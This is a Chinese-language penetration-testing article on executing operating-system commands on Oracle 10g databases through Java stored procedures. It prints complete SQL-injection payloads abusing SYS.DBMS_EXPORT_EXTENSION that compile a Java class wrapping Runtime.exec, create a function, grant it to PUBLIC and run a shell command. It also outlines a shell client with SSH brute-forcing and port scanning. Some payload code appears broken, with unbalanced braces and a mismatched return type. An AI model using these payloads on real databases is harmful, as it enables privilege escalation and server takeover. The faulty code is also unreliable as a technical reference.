Oracle 10g 利用java命令执行的一些蛋疼的碎碎念
字数 1612 2025-08-29 08:31:47
Oracle 10g Java命令执行技术深入解析
一、技术背景
Oracle 10g数据库系统提供了通过Java存储过程执行操作系统命令的能力,这为安全研究人员和渗透测试人员提供了在特定条件下获取系统权限的途径。本文详细分析两种主要的利用方法及其实现细节。
二、执行方法概述
方法1:使用SYS.DBMS_EXPORT_EXTENSION函数
- 前提条件:Oracle 10g版本,具有create session或其他普通权限(最好有sys用户权限)
- 核心思路:在Oracle上创建Java包,并在其中创建执行命令的函数
方法2:使用dbms_xmlquery.newcontext()
- 适用于public role权限
- 针对不同操作系统有不同实现方式
三、Runtime.getRuntime().exec()方法详解
方法重载
共有六个重载方法,本文重点讨论前两种:
-
public Process exec(String command)- 在单独进程中执行指定的字符串命令
- 推荐在Windows环境下使用
-
public Process exec(String[] cmdArray)- 在单独进程中执行指定命令和变量
- 推荐在Linux环境下使用
操作系统差异实现
Linux环境实现
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = args;
Runtime.getRuntime().exec(cmd);
- 使用
-c参数可以获得非交互式shell - 直接传入字符串只能执行单条命令,无法使用bash语法
Windows环境实现
- 推荐使用
exec(String command)而非数组形式 - 在Oracle 10.2.0.1.0 + Windows 2003环境下发现:
- 当cmd调用可执行文件时会另起进程
- 新进程的输入输出流可能无法捕获
/c参数调用分为两种情况:- DOS内部指令
- 执行其他可执行文件
四、Oracle与Java交互的技术难点
数据类型限制
- Oracle中常用VARCHAR2类型存储字符串
- VARCHAR2与Java的String类型隐式转换兼容性好
- VARCHAR2最大限制4000字节,容易超出:
- 执行ps、netstat等命令
- 读取.bash_history等文件
解决方案
方案1:分块读取
- 将大输出分割为多个4000字节以内的块
方案2:使用大对象类型
- CLOB:存储大文本
- BLOB:存储大二进制数据
BLOB类型实现问题
- 尝试将String的byte数组存入oracle.sql.BLOB
- 使用setBytes方法
- 关键问题:
- 空的BLOB对象不可操作
- BLOB.getEmptyBLOB()获得的空BLOB所有操作都会报错
- 非空BLOB需要从Oracle连接对象获取,实现复杂
五、完整Payload分析
Java类创建Payload
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "BBigUtil" as import java.io.*;import java.sql.SQLException;import oracle.sql.BLOB; public class BBigUtil extends Object {public static BLOB runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream())); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();BLOB bbb = BLOB.getEmptyBLOB();bbb.setBytes(0,str.getBytes());return bbb;} catch (Exception e){try{BLOB bbb = BLOB.getEmptyBLOB();bbb.setBytes(0,e.toString().getBytes());return bbb;}catch(SQLException ee){return null;END;'';END;--','SYS',0,'1',0) from dual;
函数创建Payload
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function BBigRunCMD(p_cmd in varchar2) return Blob as language java name ''''''''BBigUtil.runCMD(java.lang.String) return String'END;'';END;--','SYS',0,'1',0) from dual;
权限授予Payload
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on BBigRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual;
命令执行示例
select UTL_RAW.cast_to_varchar2(sys.BBigRunCmd('cmd /c type c:\test\1.txt')) from dual;
六、替代方案
由于BLOB实现存在技术难点,可采用以下替代方案:
-
非交互式shell客户端
- 结合Oracle union注入
- 功能包括:
- 较稳定的非交互式shell
- 文件上传下载
- 依赖允许时的SSH爆破
- 端口扫描
-
分块输出处理
- 将长输出分割为多个部分处理
- 需要额外的逻辑控制
七、技术总结
- Oracle 10g的Java命令执行能力提供了系统权限获取途径
- 不同操作系统需要采用不同的Runtime.exec()实现方式
- 数据类型限制是主要技术障碍,特别是4000字节的VARCHAR2限制
- BLOB类型的实现存在技术难点,特别是空BLOB的操作问题
- 在实际渗透中,非交互式shell客户端是较为可靠的替代方案
八、待解决问题
- 如何使EmptyBLOB变得可操作
- 如何从Oracle连接对象获取非空BLOB的简便方法
- 更高效的大数据量命令输出处理方法
希望本文能为安全研究人员提供Oracle 10g环境下Java命令执行的全面技术参考。实际应用中请注意遵守相关法律法规,仅在授权范围内进行测试。